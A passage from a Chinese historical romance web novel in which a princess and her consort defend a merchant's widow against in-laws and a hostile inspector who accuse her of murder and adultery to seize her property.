“这点小雨淋在我身上不痛不痒的,你若被淋病了,那才是了不得。” “走吧。”他抬手揽住封眠肩头,护着她往府门走去,伞始终倾向她那一侧,“雨里凉,你若要训我,进屋再说。” 封眠根本挣不过他,被他单手一裹,便轻易带入了廊下。 幸而王府修了一条曲折回还的长廊,一路通往藏弓院,朱漆栏杆外雨坠如帘,颗颗水珠砸在青瓦与石阶上,声如碎玉。密密的水帘如浓雾遮着园中的飞檐花树,别有一番风味。 但封眠急着回到院里让百里浔舟换上一身干爽的衣裳,一路拉着他走得飞快,根本无心看廊外的雨景。 百里浔舟实则很轻易便能走得快过封眠,偏偏落后一个身位,做出一副被她拖着快步前行的模样。 他望着封眠因担心他而急切地迈着步子的步子,裙裾翻飞起落,唇角便忍不住翘起一点。 待他换好了衣裳,瞧见封眠神色恹恹地倚在窗边看雨,唇角那一点笑意才化作叹息。 他走到她身后,温热的手指轻轻搭上她的太阳穴,力道适中地缓缓按揉起来。 “是不是为了折夫人的事,心里不痛快?” 封眠维持着趴在窗边的姿势,轻轻闭上眼,感受着他指尖传来的温度与力量,鼻尖嗅到清冽的雨和泥土青草的味道,心中却仍是发闷,就像压了一块湿冷的布巾。 “一想到折夫人那般玲珑剔透的人物,今日在众目睽睽之下承受那般难堪的一幕,接下来这几日可能都要反复地面对这种难堪,我便觉得难受。” “分明是陈会长德行不堪,他倒死得干脆,留下非议给折夫人一人承受……” 百里浔舟手下动作未停,沉默了片刻,道“折夫人并非寻常弱质女流,她能在商海沉浮中撑起偌大家业,心性之坚韧,远非常人可比。今日之辱或许难堪,但未必不是一重契机。” 百里浔舟将封眠揽入怀中,让她靠在自己胸前,“她与陈会长貌合神离已久,偏偏两家利益往来颇多,她平日没少受陈家的桎梏,如今恰可以趁此脱身了。” 他低下头,下颌轻轻蹭了蹭她的发顶,语气温柔却坚定:“我知道你心里堵得慌,你既不放心,明日我陪你一起去陈府看看,可好?” 封眠在他怀中汲取到令人安心的气息,轻轻摇了摇头,“你就别去了,我一个人去看她好些。” 她反手抱住他的腰,将脸深深埋在他怀里,闷闷的声音传出来:“阿琢。” “嗯?” “你手劲儿太大了,按得有点疼。” 百里浔舟:“……” 第89章 暴雨下了一整夜,直到东方既白才渐渐止息。 天光乍破,将被雨水浸润过的街巷花木、屋舍飞檐都映出晶亮的轮廓,空气中弥漫着泥土与草木的清新气息,天地皆被洗刷一新,唯有陈府前院仍乱做一团。 几名官差守着陈府大门,但大门被谁着意敞开着,让门外围拢的人群清楚地看着陈府的热闹。 一群家丁团团将面色苍白的折夫人围拢起来,几名身着锦袍的中年男子立在当中,唾沫横飞地向官差控诉着。 “大人,您可要为我兄长做主啊!”为首一个留着山羊胡的中年男子先是对着官差涕泗横流,转眸便冲折夫人瞪着眼,手指几乎戳到折夫人脸上,“我兄长死得不明不白,定是这毒妇为了谋夺家产,勾结外人下的毒手!” 官差一大早就被陈家人硬拖来此,又困又累,此刻尴尬地站在两方人马之间,耳边听着一通闹哄哄的吵嚷声,心下已有不耐,马上风此等死因,怎么还能怪到谋杀上?这不是闹呢吗? “陈二老爷,报案得讲究证据,陈会长的死因大家都是清楚的,你说是折夫人设计谋财害命,这……证据呢?” 旁边胖些的陈三老爷立刻站出来给自己二哥帮腔:“大人容禀,前日有人亲眼看见,我这位好大嫂私下会见过那个从马车里逃走的唱曲儿丫头!定是她们二人合谋,害死了我大哥!” 封眠刚刚下马车走到门口,便听见这么一句,脑海中瞬间浮现上次离开时,在门口遇见的那名身着素淡衣裙的清秀女子。 官差闻言探寻地看向折夫人。折夫人任由嬷嬷搀着,被几人不分青红皂白的职责劈头盖脸地砸了一通,脊背依然挺得笔直,闻言唇角甚至勾起一抹冰冷的嘲讽笑意。 “我是见过那个唱曲儿的丫头。” 陈三老爷格外激动:“看看,她自己都承认了!” 折夫 人转眸冷冷盯着陈三老爷,看得他神色讪讪起来,才慢声道:“这些年来府上求见我的唱曲丫头,妙音娘子,花楼歌女,多得数不过来。就因为这个,你便说我与她合谋,怕是站不住脚吧?” 众人一静,连官差眼中都露出些不忍来。隔三差五便有自家夫君的相好找上门来,折夫人平日里还半点不虞都未在外人面前显露出来,也不知是如何做到的。 陈二老爷冷哼一声:“就是因见我大哥在外留情,你嫉恨交加,这才诱之以利,与她一同谋害了我大哥!这么大的家业摆在面前,她一小小唱曲丫头,自然心动,上了你的贼船!” “二弟说这些话,听来不觉得可笑吗?”折夫人轻笑一声,声音不大,却清晰地穿透了嘈杂,“诸位叔伯莫非是忘了,陈家这偌大家业,近半数的进项,是靠谁撑起来的?我亲手赚来的银子,比陈嘉明名下所有田庄铺面的收益加起来还多!我倒要问问,你们此刻迫不及待地跳出来污蔑于我,究竟是谁在觊觎谁的东西?” 这话如同利剑,直刺要害,让那几个叔伯脸色一阵青白。 封眠好笑地弯弯眼,觉得自己似乎是没有出面的必要了。 “你这贼妇巧言善辩!大家莫要信她!”陈三老爷气急败坏,厉声道,“你分明是为了与你那小情人双宿双飞,才狠心害死亲夫!” 折夫人神色依然冷静:“一会儿说我图谋家产,一会儿说我是为了和情人双宿双飞,两位不如对过口供再带官兵来拿我把。” “看来你是不见棺材不掉泪了!”陈三老爷闻言却像是早有准备,得意地朝身后一挥手,“带上来!” 人群分开,两名家丁推搡着一个身形纤细、做巫傩打扮的人走上前来。那人戴着狰狞的傩面,穿着宽大的巫女袍服,看上去与寻常巫傩并无不同。 官差:“……呃,陈三老爷,这位是名女子吧?” 陈三老爷冷笑一声,眯缝眼阴狠地盯着折夫人,“她就是借着这一点,赌我们都发现不了她的私情!” 他说着转身,粗鲁地扯下那人的傩面和头套,露出一张清秀的、带些男相的脸,两侧家丁强行脱下他的外衫,现出男子修长的体型。 全场哗然! “这、这不就是名男子吗?怎么打扮成女子模样?” “诸位请看!”陈三老爷指着那男扮女装的巫者,声音亢奋,“这姓折的贱妇便是假借占卜问卦之名,频频与这奸夫私会!” 折夫人一直冷然地站在原地,神色了无波动,直到看到那张熟悉的脸被暴露在众目睽睽之下,眸光才几不可察地锐利一瞬。 陈二老爷跟着陈三老爷一唱一和,痛心疾首道:“此事,我大哥他早已知晓,只是顾全颜面,未曾说破罢了!谁知这毒妇竟如此狠毒,先下手为强!” 陈三老爷扑通一声给官差跪了:“大人,您要替我们做主啊!” 官差吓了一跳,连退两步,忙吩咐手下:“来人,将人带回衙门审问!” “慢着!” 封眠越众而出,目光如冰刃般扫过那群咄咄逼人的陈家人,“仅凭一个男扮女装的巫者,几句似是而非的所谓‘知情’,便能断定折夫人谋杀亲夫?” “昨日陈会长刚刚罹难,今日你们便演着假模假样的悲痛,来威逼他的遗孀,心急定罪,究竟是为他讨公道呢,还是担心夜长梦多,陈家的家产旁落到了你们眼中的‘外人’手中,你们一文钱也拿不到手中?” 她的话音落下,方才还被“奸情”冲击的围观百姓们纷纷怀疑地看向那群叔伯。 郡主殿下都这般说了,这群人定然有猫腻! 折夫人侧目看向身旁为她挺身而出的封眠,眼底闪过一丝复杂的微光。被家丁压着的巫傩则深深低下头去,肩膀微微颤抖。 陈三老爷恨得咬牙,今日特意开门迎客,便是为了让云中郡的百姓都知道折夫人的私情,将她彻底钉在耻辱柱之上翻不了身。可这清平郡主怎么突然过来了?不是说郡主与折夫人只是有些生意往来,并无什么私交吗? 他求助地看向身侧二哥,却见二哥丝毫不惧,仿佛有什么后手一般。 官差望望挡在折夫人身前的封眠,正准备命手下们让开,便听身后一道凉薄刺耳的声音:“官衙办事,郡主殿下不好随意插手吧。” “罗巡检!”官差忙转身向来人行礼。 来人一身绯色窄袖官配,腰系金玉带,生得细长眉眼,面色是一种不正常的苍白,穿着武官的袍子,周身却一副阴凉鬼恻之态,望向封眠的视线也湿凉黏腻,像常年盘踞在暗处的毒蛇。 封眠心中警铃大作。巡检负责一方治安缉捕,权柄远高于衙门官差,但她并不认识眼前这位。看他官袍是个五品官,观其神态亦不是个好相与的。 她当即侧首,低声对身后侍卫吩咐:“先护着折夫人去后院。” 然而她话音未落,余光便瞥见对方动作更快! 那罗巡检身后数名带刀护卫如鬼魅般迅捷冲出,竟生生隔开封眠身后的侍卫,刀鞘微抬,将她与折夫人二人合围其间。动作干脆利落,显是训练有素,且毫不顾忌封眠的身份。 “罗巡检,”封眠面色一寒,声音冷了下来,“你这是何意?” 罗巡检细长的眼睛眯了眯,皮笑肉不笑地拱了拱手:“郡主殿下息怒。下官也是奉命行事,陈会长暴毙,折夫人嫌疑重大,需带回巡检司问话。至于您……” 他语调拖长,那黏腻的目光再次扫来,“还请行个方便,莫要阻碍公务才是。” “我若不允呢?” 罗巡检狭长眼眸中闪过一丝利芒,“那就请殿下恕罪了,动手!” 当先的侍卫拔剑出鞘,剑刃反射寒光,就在剑锋即将完全出鞘之际,忽有数道尖锐的破空声响起,几枚乌黑的石子精准无比地连续击中侍卫们持剑的手腕软筋之上。 “呃啊!” “铛啷——” 惨呼与兵器坠地的声音几乎同时响起,佩剑纷纷脱手,砸落在地。 一道玄色身影已掠至近前,他足尖在一名逼近封眠的侍卫肩头猛地一脚踹去,侍卫向后倒飞,重重砸翻了数人。 百里浔舟凌然护于封眠身前,冷冽的目光扫过众人,声如玄铁:“我看谁敢?” 满地皆是哀嚎,方才还气焰嚣张的陈家人惊惶瑟缩,罗巡检面色阴沉得能滴出水来,细长的眼中闪烁着复杂的光,却紧抿着唇一言不发。 “你怎么来了?”封眠自百里浔舟身后探头看他,心下已全然放松。 百里浔舟闻声侧首,目光落回封眠脸上时,瞬间变得温柔,声音也放低了,语气里有一丝后怕,又有一丝邀功的骄傲,“我不放心你,便派轻衣暗中跟着你。果然什么牛鬼蛇神都冒出来了。” “你可知这巡检是谁?” “谁?” “罗驰尔,位及宰辅的罗公是他祖父。”百里浔舟轻声解释,“他刚刚就任沿边巡检使。” 封眠略一思索,这不是柔妃的母家吗? 她特意写信请太子兄长帮忙暗中运作,送些好官来,怎么好官还没见着,先来了个棘手的罗驰尔? “两位殿下。”对面忽然传来一道略带些咬牙切齿的阴凉嗓音,罗驰尔闭目深呼吸,压下心中不满,勉强扯出一个皮笑肉不笑的表情:“我等还在此处呢,二位若要议论要抒情,不如回了王府再慢慢说?” “哦?抱歉。”百里浔舟像是才注意到说话之人般,漫不经心地掀起了眼帘,唇角勾起一抹极淡的弧度,“你不说话,我还真没看见此处还有个人。” 那你方才议论的人是谁?罗驰尔险些气个倒仰。 第90章 “两位殿下如此护着一个嫌犯,未免有些目无法纪了吧?” 罗驰尔一张口便是一道罪名砸过来,他细长的脖子高高扬起,愈发像一条阴森嘶嘶的毒蛇。 他他刻意抬高了声调,确保每一个 字都能清晰地传到外面,:“若这世道都如此官官相护,我们巡检司要如何办案?亡者的公道又由何人来伸张?” 声音带着刻意的沉痛情绪,仿佛真的在鸣不平一般。 他虚情假意地接着劝道:“只是去巡检司走一遭,若经查断,折夫人是无辜的,在下自然便将折夫人完好无损地送回府上。” 说着,他的目光锐利地扫过百里浔舟与封眠,话锋一转,语气陡然变得意味深长:“可两人殿下这般拦着,倒好似怕我们去查出点什么来一样。这般行事,岂能服众啊?” 最后那句话,他几乎是掷地有声地抛向外围观的百姓,说罢便暗暗勾起一侧唇角,等着预想中的骚动响起。 外头的百姓们果然也愤愤然地声讨了起来。 “他们怎么竟还敢对郡主动手?也太可恨了!”一个粗犷的男声扬声指责着。 “要不是咱们世子来得及时,郡主岂不是要受伤了吗!”妇人忧心忡忡的附和传来。 “郡主都好声好气与他们说有隐情了,这姓罗的巡检怎么上来就要动手啊?别是心虚了吧?”更有人直言不讳。 罗驰尔:“……” 这不对啊!一群愚民而已,不是应该被他三言两语挑拨,便同仇敌忾起来,纷纷谴责世子与郡主以权压人,妨碍公务吗?怎么这云中郡的百姓倒反过来说他的不是了?他们不是应该最厌达官显贵吗! 罗驰尔嘴角那抹得意的弧度僵住了脸色由红转青,要勾不勾的唇角微微抽搐着,显得颇为诡异。 封眠死死抿住唇,将脑袋迈进百里浔舟的后背处,闷闷地笑了起来。 一点热气和憋笑的震动隔着轻薄的衣料传到皮肤上,痒得百里浔舟下意识想躲,又惦记着要遮住封眠,只能僵在原地,不大自在地动了动肩膀。 将封眠遮在身后,百里浔舟旋即不耐烦地看向罗驰尔,“少啰嗦。人,你别想带走。这案子,我看也没有要劳动巡检司来查的必要。” “就让衙门的官差将这所谓的奸夫……”百里浔舟扫一眼满身狼狈的年轻巫傩,“还有那个所谓的同谋歌女,一并带去衙门询问就可以了。” 他刻意放缓了语速,“毕竟陈会长的死因,你我都清楚。我倒不知,要用什么样的手段,才能达成这种谋杀?” 罗驰尔的脸色彻底沉了下来,攥紧的指节微微发白,丝毫没有让步的打算,“恕在下难能从命。” 他一声令下,带来的侍卫们齐刷刷上前护在他身后,气势紧绷,院内的空气一时凝滞。 官差心里落下斗大的汗珠,想着这有背景的官儿就是硬气,看这架势,是要对峙到底了,也不知郡守大人何时才能到,他可是承受不住这种场面…… “罗大人!世子殿下,郡主殿下,莫要动气,事好商量啊!” 郡守姗姗来迟,几乎是跌撞着挤进这剑拔弩张的包围圈里。他额上汗水涔涔,也顾不得擦拭,只连连作揖,心里早已苦不堪言。 他虽名义上是秦王的小舅子,但实则只是家中众多庶子中的一个,地位轻若鸿毛,不敢得罪定北军的世子殿下和天潢贵胄的郡主殿下,但也惹不起这位罗巡检啊,他背后可是有罗家撑腰。 罗巡检冷眼扫来,咬牙切齿的语气带着些阴森逼迫:“郡守大人,有何高见?” 郡守抬袖用力擦去额角虚汗,若有的选,他是真不想见这几位,恨不能立刻昏厥过去,也好过在此受这夹板气。 他嘴唇哆嗦着:“这个……那个……” “不如这样吧。”封眠忽然向外轻移一步,错了一个身位,从百里浔舟的影子里走了出来。她的声音不高,却清晰地传入每个人耳中,瞬间吸引了所有目光。 “罗大人是忧心陈会长含冤而亡,”她语调平稳,目光掠过罗驰尔,又转向郡守,“我与世子殿下,亦是担心折夫人蒙受不白之冤。既然各执一词,争执不下……” 她微微停顿,日光恰好落在她清丽沉静的眉眼间,她被闪得微微蹙了蹙眉,转了一下角度避开日光直射。 “那便当众验,当众审。” 郡守像看从天而降的神女一样看着她,一怕大腿:“好好好,那就当众验,当众审!” 日头逐渐灼烫起来,百里浔舟侧首示意,山衣便机灵地送上来一柄青竹油纸伞。 他接过伞,稳稳在封眠头顶撑开了一片荫凉,遮住了晒向她日光。自己则混不在意仍暴露在烈阳之下的大半边身子。 封眠抬起眼看见他一侧脸颊被晒得有些发红,便抬手覆在他执伞的掌背上,将伞往他的方向推了推,见荫凉遮住了他被晒红的脸,这才放心地松开手。 她刚放下手,便感觉到百里浔舟执伞的手又微微地往她的方向偏移了一线,这回她头也不抬地伸出一根手指戳住他的掌背,微微一用力将他的手推回去。 没过几息,他握着伞的手又蠢蠢欲动起来。 身后的山衣忍不住了,幽幽地自两人中间冒出一句:“世子殿下,属下这里还有还有一把伞……” 话音未落,百里浔舟向封眠的方面挪了小半步,与她衣袖叠衣袖,将两人之间那一点空隙尽数消弭,也彻底把山衣完完整整挡在了后头。 山衣瘪嘴,本来心情略有些沉重的折夫人看见这一幕,也没忍住侧首露出一个笑来。山衣赶忙将手中另一把伞递给折夫人身旁的嬷嬷,让她为折夫人遮一遮阳。 嬷嬷投来感激的一瞥,轻声与自家夫人耳语:“夫人,您这次是真碰着贵人了。” 折夫人目光复杂地看一眼封眠,“是啊,真是没想到……” 不管结果如何,这份恩情,她必得回报才是。 片刻后,就在陈府大敞的府门前的庭院之上,临时摆开了郡守升堂的架势。 陈会长的尸首被抬到了侧边廊下,在众目睽睽之下,由三名仵作分别对其进行极为细致的检验。 而庭院中,年轻巫傩跪伏在地,脸上血色尽失在陈二老爷近乎杀人的目光逼视下,他浑身颤抖如筛糠,声音嘶哑地交代:“是夫人先勾引我的……” 他声音嘶哑,不敢抬头看任何人。 陈三老爷得意至极:“这下你还有何话说?” 折夫人冷眼瞧着跪地的青年人,不置一词。 那名从现场逃走的歌女也被带了回来,身子软得几乎站不住,跪坐在地上,脸上脂粉被泪水冲得斑驳。 “民女…民女确实去找过折夫人…”她声音细若蚊蝇,在郡守拍了一次惊堂木之后,才努力提高声量,“只因母亲病重,走投无路才去求夫人施舍…夫人心善,当即请了大夫为母亲诊治…” 她抬起泪眼,急切地望向端坐一旁的折夫人:“除此之外,夫人再未许我别的!我、我确实存了攀附之心,陈会长他……他先前许诺过要为我赎身,纳我入府……” “折夫人说,纳妾之事需得陈会长首肯,亲自与她提才行。故而第二日我才……才与陈会长相约出游,本想趁机求得他点头,谁知……谁知就出了这样的事!” 她突然激动起来,向前猛地一磕:“大人明鉴!我怎么会与夫人合谋杀害陈会长?我还在等着他兑现诺言,风风光光接我进府啊……” “我一个弱女子,若是得了大笔银钱,也是守不住的,能从良入后宅,岂会行这等蠢事!” 折夫人轻轻一声叹息,“傻姑娘。即便他昨日没出事,你也等不到他来接你。” “像你这样哭哭啼啼寻到我面前的姑娘,这些年来我见过不下十个。可……他一次也没有向我提及过。少则三两月,多则半年一年,他便腻了倦了,又要换新人……” 歌女闻言,哭得更为伤怀。 此时三名仵作也已勘验完毕,得出了明确且一致的结论。 “陈会长体表并无任何致命外伤,亦无吸入或服用可疑药物的痕迹。就只是脱症而亡,也就是俗称的马上风。” 庭院内外陷入一片诡异的寂静,陈会长的死因被板上钉钉,并无外力谋害的痕迹,似乎已经可以确证 折夫人清白了。 这时柳寄雪领着一人匆匆而至,那是一位身着素布长衫、背着药箱的游方郎中。 “草民……草民曾私下为陈会长诊治过一些……嗯,隐秘之症。”郎中在众人注视下显得有些紧张,但在柳寄雪鼓励的目光中,还是鼓起勇气说道,“主要是帮陈会长调理……调理肾元,重振雄风。陈会长他早已外强中干,内里亏空得厉害。草民屡次劝他静心休养,固本培元,可他……唉,就是不听劝呐!这般不知节制,纵情声色,便是大罗金仙也难救啊!” 他摊开手,脸上露出无奈的神色,又带着几分医者痛心:“这身子骨早就被掏空了,油尽灯枯之象已显,如今这般突发脱症……只能说身子骨已到了极限,如何能说是被人谋害呢?” 陈会长身边的小厮、管家都供认见过这位游方郎中私下出入陈府,为陈会长悄悄诊治。只因陈会长好面子,不愿被云中郡这些坐堂大夫们知道他的病症,又听闻这游方郎中于男子私房一脉颇有经验,这才频频求他看病。 柳寄雪立于廊下阴影中,遥遥与封眠交换了一个视线。她之前私下行医,结识了不少游方郎中,偶然听见过一耳朵庭中这位郎中私下为陈会长看病一事,今日一听说此事,便立刻去找到了这位郎中,请他来证明陈会长本就肾虚体弱,死于脱症并不意外,也可以成为折夫人脱罪的一条理由。 至此,折夫人蓄意谋害的嫌疑,已算是洗刷干净。 罗驰尔阴森森地瞪向陈家两位老爷。 郡守刚想顺势宣布此事乃是一场误会,让大家散了,陈三老爷猛地跳了出来,指着折夫人,声色俱厉地吼道:“就算我兄长不是被她谋害,但她与旁人通奸,私德败坏,是不争的事实!如此□□妇人,岂能再为我陈家妇?今日我陈家便要休了她,将她赶出府去,净身出户!” 图穷匕见,想夺家产的心思这下是一点也不遮掩了。 90-100 第91章 陈三老爷的一声怒吼,骤然将所有人的注意力从一桩命案,拉回了对有夫之妇与人通奸的私德审判。围观人群这才如梦初醒,嗡嗡的议论声浪再起,探究与审视的目光重又转移到了折夫人身上。 陈三老爷见状,脸上掠过一丝扬眉吐气的得意。下颌微抬,发出一声极其响亮的冷笑:“哼!这贱妇德行有亏,玷辱我陈府门楣!若非看在往日情分,我早就开宗祠,请家法,将她沉塘了事!如今只是将她逐出家门,已是天大的恩典!” 通奸罪已是前朝的事,本朝律法对此等私德之事未曾有所定论,官府不便插手。郡守终于找到了一个离开的借口,忙上前一步,看向面色阴郁的罗驰尔,赔着笑道:“罗大人,您看,这毕竟是人家的家务事,咱们府衙和巡检司就不要插手了吧?” “罗大人……”陈二老爷还想请罗驰尔留下来帮忙撑一撑腰,毕竟他瞧对面的世子与郡主看起来不像是不准备插手的模样,但罗驰尔只是阴森森地盯了他一眼,他便定在了原地。 他心里发苦,本以为赶走折夫人一个无儿无女的妇人是件轻易摘桃的事,谁能想到现下弄成这样的局面,罗大人刚刚赴任便在百姓面前落下这么一个不好的印象,在与世子和郡主的交锋之中落败,不记恨他们陈家便好了,岂会还留下来再帮他们一次? 罗驰尔自鼻腔里溢出一声清晰的冷哼。他心知今日再多停留也是无益,当即袍袖一甩,连一句场面话都欠奉,头也不回地带着侍卫大步离去,单薄的脊背透出几分森冷。 哄走了这尊最难缠的大佛,郡守如蒙大赦,连忙用袖子擦着汗,扭身行礼,“郡主殿下,世子殿下,下官先告辞了!” 语罢,他几乎是脚不沾地地追着罗驰尔的背影去了,只想尽快逃离这是非之地。 人群并未因府衙中人的离去而散去,封眠也没有离开。 她静静立于原地,仍护在折夫人身前。百里浔舟亦依旧撑伞立于她身侧,反正封眠不动,他也不动。 陈三老爷颇为不悦:“郡主殿下这是要插手我陈家的家事吗?” 封眠目光清亮坦荡,毫不犹豫道:“是啊。” 陈三老爷:“……” 他噎了一下,脸上肌肉微微抽搐。这……是不是有些太过理直气壮了?连句委婉的托词都没有? 封眠唇角勾起一抹极淡的弧度,声音清晰地传入每个人耳中:“我既非官府中人,也无巡检司名头,今日,我只是以折夫人好友的身份在此。好友蒙冤受辱,我岂能坐视不理?” 折夫人眼睫颤了又颤,目光微微垂下,落在比她矮上半个头的女子身上。她生得纤弱,看起来弱不禁风,却一直如此坚定地护在她身前,如一道无坚不摧的屏障。 可……为什么呢?为什么如此帮她? 封眠不等陈三老爷反驳,忽地转向门外众人,声音不高,却有一种奇异的穿透力:“诸位乡邻方才也都听见了,陈三老爷口口声声指责折夫人私德有亏。可我倒想问一问,陈会长生前那般荒唐行事,冷待结发妻子,甚至默许新欢登门,任妻子默默忍下所有侮辱苦楚,郁郁寡欢时,陈家的‘德’又在何处?” 她顿了顿,见有些人面上已露出不忍之色,接着又道:“更何况,折夫人嫁入陈家这些年,操持中馈,抚恤孤寡,桩桩件件哪一样少做了?她从未因陈会长的言行而怨恨甚至薄待陈家众人。” “我记得云中郡的几家慈幼堂皆是由折夫人资助办起来的,而陈家的产业,更是没少趴在折夫人的嫁妆和私产上吸血。如今两位陈老爷,倒有脸面来论折夫人的私德了?” 退至廊下的歌女忽然怯生生地抬起头,鼓足勇气向围观的百姓们嗫嚅道:“折夫人是个好人,她不但丝毫不为难我,还愿意为我母亲延医问药,就算……就算……” 她说不出折夫人与人通奸这几个字,含混过去后接着道:“那也不应怪在夫人身上……” 人群中开始骚动,议论的风向悄然转变。 “就是,折夫人做了那么多善事,将陈家和商会打理得那么好,陈家人就这样欺负她,也太过分了吧?”一名中年男子极其大声地让让出来。 “陈家商会能有如今规模,靠的还不是折夫人的手段吗?” “陈会长自己不成器,倒来怪折夫人,怕是就想霸占了折夫人辛苦打下的产业吧?” 陈二老爷脸色气得铁青,正待说些什么,封眠已抢先上前一步,朗声道:“今日在此,不如请诸位乡邻评评理,折夫人是否该带着本属于她的嫁妆,以及她亲手经营起来的产业,离开陈家?” 人群中有谁振臂一呼:“应该!” 零零碎碎的应和声紧随其后:“夫人没错!”、“支持折夫人!” 民声沸腾,几乎是一边倒地支持折夫人。 陈三老爷惊慌失措地看向自家二哥,被他狠狠剜了一眼,心下也颇为委屈,是他说只要揪着折夫人与人私通这一点不放口,便能将她的私产都尽数吞下的…… 最终,在众目睽睽之下,折夫人当场与陈家清算产业。 她条理清晰,账目分明,哪些是她的嫁妆,哪些是她经营所得,一一道来,“陈家祖产我分文不取,但属于我的东西,你们一件也别想拿走。” 陈二老爷脸色灰败,只能咬牙看着她干净利落地分割清楚。他心中暗恨,却无可奈何。若此刻再强行阻拦,吃相未免太过难看。 “从今往后,我与陈家再无关系。” 许是离开的心思存了许多年,分割结束的那一刻,折夫人的陪嫁嬷嬷也带着仆厮们将陈府内一应箱笼都归置好了抬出来。 折夫人最后看了一眼那生活了多年的府邸朱门,眼神复杂,却并无留恋,随封眠和百里浔舟一同走了出去。 陈府的大门 关上,隔绝了外面窥探的目光,陈三老爷终于不再忍耐,哭丧着脸道:“怎么办啊二哥,大哥名下那些产业看着风光,其实亏空和欠债不知凡几,这可是个烫手山芋啊!这下是彻底砸在咱们手里了吗!” 陈二老爷咬着牙冷哼一声,“何止?那姓折的说以后与陈家再无干息,便是连大哥的身后事都不会再插手了。你我还得给大哥风光大办一场,否则,便是坐实了我们逼迫寡嫂图谋财产的恶名,往后更无法在云中郡立足!” 陈三老爷胖胖的身子一颤,险险晕过去,被三名仆厮托住才站稳了。 “还没走到绝路呢,慌什么呢?大哥走了,他的人脉总还在呢!只要你我抱紧了罗巡检这条路子……” 陈二老爷眼底划过一丝暗光,今日陈家被逼至如此境地,来日待天地换日,他定要那姓折的尽数都还回来! 云遮住了太阳,马车驶过青石板路,发出辘辘声响,随即在一个路口停了下来。 封眠撩起窗边帘幔,便看见百里浔舟策马停在外面,他俯下身轻声与她讲话,“我只能送到这里了,方才有人来报信,我得回去一趟……” “是不是那姓罗的回去找你麻烦了?”封眠见他含糊其辞,也没说是传来了军情,思绪一转,便想到了今日那来者不善的罗驰尔。 百里浔舟轻笑出声,伸手揉了揉封眠的发顶,“他能给我找什么麻烦?不过随便寻了几个借口,想为难一番罢了。我岂能被他刁难住了?” “轻衣会留下,一路送你们回王府。” 百里浔舟叮嘱完,替封眠拉上了窗,才策马离开。 车厢内,自上了马车后便一直沉默不语的折夫人望向坐在对面的封眠,“为我的事,给两位殿下添麻烦了。” “你方才也听见了,世子殿下哪能被一小小巡检刁难住?便是他姓罗,我母亲还姓褚呢,怕他不成?”封眠为她倒了杯热茶推过去,“你只管先安心在王府暂住两日,处理完剩下的事再说。” 封眠听说折夫人的娘家远在江南,父母也故去多年了,剩下的娘家兄弟们并不如何亲近,便想她便是离了陈府,应当也是不想回娘家的。又担心陈家的人私下再来找事,便决定将她先带去王府安置一番。 虽说今日将财产文书都做了分割,但仍有许多人员与合作事宜要做善后,折夫人且还有的忙呢。 “郡主今日为何这般帮我?” 四下静默,车厢内只有折夫人与封眠二人,折夫人终于没忍住问出了这个问题,“我与那巫傩确有私情。” 若非有封眠在旁引导围观百姓念起她平日的好与不易来,她早已被千夫所指。 “陈会长在外的风流情事难道还少吗?”封眠托腮,叹一口气,“我只是见世人皆能轻易原谅拈花惹草、行事荒唐的男子,甚至还要赞上一声风流,却偏要把你这般的女子逼上绝路,便觉得不公。” “你与陈会长早便已情份散尽,形同陌路,与和离无异了,再让你因为这桩婚事而失去手中所拥有的一切,就太难过了。” 折夫人垂下眼,向来明艳的面庞如今是肉眼可见的憔悴,“发现他有二心之时,我便与他提过和离了,他偏不肯,说陈府不能没有我这位当家夫人,以后陈府的后院也只会有我一人,求我留下。” “当初他帮过我家中一个大忙,念在那一桩恩情,我便答应了。说来也是好笑,其实那时我心中尚对他有一丝希望,或许他是在意我才不愿我离开。只是有一日他醉酒,我心急多念了他几句,他便让我不要管他,他也不会干涉我在外头……直到那时我才真的死心。” 她唇边牵起一丝极淡、极苦的笑意,却又好似终于从经年的折磨中解脱一般:“早知今日,何必当初呢……” 她静默伤怀了片刻,忽然抬眸看向封眠,仿佛下定了什么决心,“今日多谢郡主和世子殿下相救,救命之恩,无以为报。有件事……我思来想去,觉得必须告知郡主。” 第92章 “怎么样小表妹,我请来的那两个人演得还算自然吧?” 封眠一只脚刚踏入王府的门槛,门廊的阴影里便倏地探出褚景淇那张眉飞色舞的脸。他挤眉弄眼,语气里满是藏不住的得意。 他这话一出,跟在封眠身侧的折夫人先是一怔,随即恍然,想起了人群中率先响应封眠所言,指责陈家人欺负她的那名中年男子,“那人居然是小侯爷安排的?” 褚景淇没急着答话,先是往两人身后张望了一番,确认附近没什么人,这才放心地从门后闪身出来,引着她们先往廊下走,不忘叮嘱:“先进来说话,可别被人瞧见了。我知道陈府闹出这桩事时太晚了,找人这事办得匆忙,痕迹未必干净。那罗驰尔是个阴森难缠的小人,被他查到是我找人推波助澜就不好了。” “你与他很熟?”封眠听他提起罗驰尔名字时,口气十分熟稔,好奇一问。 “可不敢跟他熟!”褚景淇连忙摆手否认,脸上浮现出心有余悸的晦气表情,“说起来就倒霉!大概五个月前吧,我跑去西南永宁州看异域舞姬的表演,好巧不巧碰上那歌楼除了桩命案,带队来查案的正是罗驰尔这个混蛋,他也不知怎么想的,硬是把风马牛不相及的我抓了起来。” “他就如今日挑拨云中郡百姓一般,挑拨永宁州的百姓。那永宁州的百姓哪里知道我是个多么天真纯良的小侯爷?更是远比不上云中郡百姓对小表妹你的信任敬爱,不过三两句就被他挑拨得好似认定了我是凶手一般,恨不能吃我的肉,喝我的血。” “迫于民意,永宁州竟无人敢出面保下我,硬是将我关了五日!整整五日!”褚景淇伸出五根手指,气得眉毛都快飞起来了,那架势仿佛罗驰尔若在眼前,他立刻就能扑上去咬一口,“你知道那五日我是怎么过的吗?” “虽说后来证实了我确是无罪,可那个混蛋顶着那张死人脸,一声抱歉也没有,还说是我平日行事飞扬跋扈,惹人误会。真是笑话!”他指指自己白净俊俏的脸,愤愤不平,“光看我们俩的脸,是个人都能分清我跟他到底谁是坏人好不好?” 封眠从他一堆饱含情绪的控诉里提取出关键信息:“他早就针对过你?小舅舅对此事怎么说?” 提起自家父亲,褚景淇的眉眼便耷拉下来了,悻悻道:“他能怎么说?不就是风风火火把我从永宁州揪回了北疆,让我离那姓罗的瘟神远一点呗。” “小舅舅亲自去救的你吗?”封眠追问。 褚景淇撇撇嘴,“是五哥恰好搜罗什么孤本路过,顺手把我捞出来的。我那个好爹爹,还是事后才知道的消息。他倒好,也不关心我在牢狱里吃了什么苦,也不想着让我多玩几日压压惊散散心,直接就派人把我揪回来了!” 